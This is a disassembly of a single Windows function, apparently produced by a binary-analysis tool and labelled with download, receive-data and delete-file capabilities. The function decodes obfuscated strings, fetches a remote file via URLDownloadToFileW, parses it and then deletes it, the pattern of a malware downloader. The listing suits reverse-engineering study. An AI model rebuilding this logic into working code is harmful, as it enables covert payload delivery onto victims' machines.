Function at 0x406a30
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44820d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
push edi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], ecx
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x406e5c
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push 0x4539ac
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call fcn.00403570
test al, al
jne 0x406a95
push 0x10
push 0x4539ac
lea ecx, [ebp - 0x1c]
call fcn.004039f0
mov dword [ebp - 4], 1
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x406e66
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.ZWNyXWdscXJwc2FyZ21scQ
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 2
call fcn.00403570
test al, al
jne 0x406ada
push 0x18
push str.ZWNyXWdscXJwc2FyZ21scQ
lea ecx, [ebp - 0x18]
call fcn.004039f0
mov byte [ebp - 4], 3
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x406e70
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.ZnJybnE4LS1uYV9ubnFybXBjLHExLF9rX3htbF91cSxhbWstdGNwcWdtbA
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 4
call fcn.00403570
test al, al
jne 0x406b1c
push 0x3c
push str.ZnJybnE4LS1uYV9ubnFybXBjLHExLF9rX3htbF91cSxhbWstdGNwcWdtbA
lea ecx, [ebp - 0x20]
call fcn.004039f0
push ecx
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x452b3e
call fcn.00402d70
push ecx
mov byte [ebp - 4], 6
mov edi, esp
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], eax
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov byte [ebp - 4], 7
mov edi, esp
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 5
call fcn.00406500
add esp, 0xc
call fcn.00401600
test eax, eax
je 0x406e5c
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
push 0x453a84
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 8
call fcn.00403570
test al, al
jne 0x406bd1
push 0
push 0x453a84
lea ecx, [ebp - 0x10]
call fcn.004039f0
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x14]
call fcn.00405200
add esp, 4
mov byte [ebp - 4], 0xb
or ebx, 0xffffffff
mov edx, dword [ebp - 0x10]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406c05
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push 0
push dword [ebp - 0x14]
push ecx
mov esi, esp
mov dword [ebp - 0x24], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
mov dword [ebp - 0x10], edi
call fcn.00403800
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [esi], eax
call fcn.004021a0
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [ebp - 0x24]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x406c58
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x406d13
push 0x453a88
push dword [ebp - 0x14]
call fcn.0042d662
mov esi, eax
add esp, 8
test esi, esi
je 0x406d05
mov edx, esi
lea ecx, [ebp - 0x24]
call fcn.004067f0
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x24]
cmp dword [ecx - 0xc], 0
je 0x406cde
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
push eax
call fcn.004096b0
mov edx, esi
lea ecx, [ebp - 0x10]
call fcn.004067f0
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x10]
cmp dword [eax - 0xc], 0
je 0x406cc3
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x10]
push eax
call fcn.004096b0
mov eax, dword [ebp - 0x10]
lea edx, [eax - 0x10]
mov byte [ebp - 4], 0xc
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406cde
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push esi
call fcn.0042cb7b
mov byte [ebp - 4], 0xb
add esp, 4
mov edx, dword [ebp - 0x24]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406d05
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x406dde
call fcn.00401600
test eax, eax
je 0x406e5c
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x24], eax
push 0x453a8c
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xe
call fcn.00403570
test al, al
jne 0x406d51
push 0x18
push 0x453a8c
lea ecx, [ebp - 0x24]
call fcn.004039f0
push ecx
mov byte [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0x2c], esp
push 0x452b3f
call fcn.00402d70
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
mov edi, esp
mov byte [ebp - 4], 0x11
push ecx
mov ecx, dword [ebp - 0x28]
mov esi, esp
mov dword [ebp - 0x3c], esi
call fcn.00403800
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004021a0
add esp, 4
mov byte [ebp - 4], 0xf
call fcn.00406500
mov edx, dword [ebp - 0x30]
add esp, 0xc
mov byte [ebp - 4], 0xb
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406ddb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x10]
mov byte [ebp - 4], 5
mov eax, ebx
mov edx, dword [ebp - 0x14]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406dfc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 3
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x406e14
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, ebx
mov byte [ebp - 4], 1
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406e2f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x406e4b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
int3